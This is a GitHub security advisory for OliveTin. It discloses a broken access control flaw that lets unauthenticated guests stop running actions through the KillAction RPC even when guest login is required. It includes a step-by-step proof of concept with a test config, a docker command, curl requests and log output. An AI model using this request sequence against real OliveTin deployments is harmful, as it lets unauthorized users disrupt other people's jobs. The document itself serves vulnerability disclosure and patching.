GHSA-4fqm-6fmh-82mq
OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/OliveTin/OliveTin | < 0.0.0-20260302002902-d9804182eae4 | 0.0.0-20260302002902-d9804182eae4 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.
### Details
The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.
KillAction() authenticates the caller and applies only the per-action kill ACL check:
- service/internal/api/api.go:62
However, it does not enforce the guest login requirement. The guest/login gate exists separately in:
- service/internal/api/api.go:474
That gate is used by dashboard-style methods, but not by KillAction.
In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:
- service/internal/config/sanitize.go:160
Specifically:
- DefaultPermissions.View = false
- DefaultPermissions.Exec = false
- DefaultPermissions.Logs = false
- DefaultPermissions.Kill remains unchanged
As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():
- service/internal/acl/acl.go:133
I validated this behavior on a clean 3000.10.2 setup:
- guests were denied access to GetDashboard
- an authenticated admin user started a long-running action
- an unauthenticated guest successfully called KillAction
- the action was terminated
This confirms a real authorization bypass affecting action termination.
### PoC
Tested version:
```
3000.10.2
```
1. Create a minimal config:
```bash
mkdir -p /tmp/olivetin-kill-bypass
cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: "admin"
usergroup: "admin"
password: "$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4"
accessControlLists:
- name: adminall
addToEveryAction: true
matchUsernames: ["admin"]
permissions:
view: true
exec: true
logs: true
kill: true
actions:
- title: long-running
id: long-running
shell: sleep 20
timeout: 30
YAML
```
2. Start OliveTin 3000.10.2:
```bash
docker rm -f olivetin-kill-bypass 2>/dev/null || true
docker run -d --name olivetin-kill-bypass \
-p 1347:1337 \
-v /tmp/olivetin-kill-bypass:/config:ro \
ghcr.io/olivetin/olivetin:3000.10.2
```
3. Confirm the server is ready:
```bash
curl -i http://127.0.0.1:1347/readyz
```
4. Prove guests are blocked from dashboard access:
```bash
curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \
-H 'Content-Type: application/json' \
--data '{"title":"default"}'
Observed response:
HTTP/1.1 403 Forbidden
{"code":"permission_denied","message":"guests are not allowed to access the dashboard"}
```
5. Log in as admin:
```bash
curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \
-H 'Content-Type: application/json' \
--data '{"username":"admin","password":"SecretPass123!"}'
```
6. Start a long-running action as admin:
```bash
curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \
-H 'Content-Type: application/json' \
--data '{"bindingId":"long-running","arguments":[],"uniqueTrackingId":"kill-hunt-1"}'
Observed response:
HTTP/1.1 200 OK
{"executionTrackingId":"kill-hunt-1"}
```
7. Kill it as an unauthenticated guest:
```bash
curl -i -X POST http://127.0.0.1:1347/api/KillAction \
-H 'Content-Type: application/json' \
--data '{"executionTrackingId":"kill-hunt-1"}'
```
Observed response:
```bash
HTTP/1.1 200 OK
{"executionTrackingId":"kill-hunt-1","killed":true,"alreadyCompleted":false,"found":true}
```
8. Confirm in container logs:
```bash
docker logs olivetin-kill-bypass 2>&1 | tail -n 120
```
Observed relevant lines:
```bash
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/GetDashboard" ... username="guest"
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/StartAction" ... username="admin"
Action started actionTitle="long-running"
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/KillAction" ... username="guest"
Killing execution request by tracking ID: kill-hunt-1
Action finished actionTitle="long-running" exit="-1"
```
This proves:
- guests are denied dashboard access
- guests can still invoke KillAction
- the running action is successfully terminated by an unauthenticated user
### Impact
This is an unauthenticated broken access control vulnerability resulting in denial of service.
An unauthenticated guest can:
- terminate active jobs started by legitimate users
- disrupt long-running administrative or operational workflows
- interfere with privileged actions without being allowed to log in
Who is impacted:
- OliveTin deployments with authRequireGuestsToLogin: true
- multi-user environments where actions may run for meaningful durations
- operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks
This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted
through adjacent leaks or shared operator knowledge.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/OliveTin/OliveTin/security/advisories/GHSA-4fqm-6fmh-82mq
- https://nvd.nist.gov/vuln/detail/CVE-2026-28790
- https://github.com/OliveTin/OliveTin/commit/d9804182eae43cf49f735e6533ddbe1541c2b9a9
- https://github.com/OliveTin/OliveTin
- https://github.com/OliveTin/OliveTin/releases/tag/3000.11.0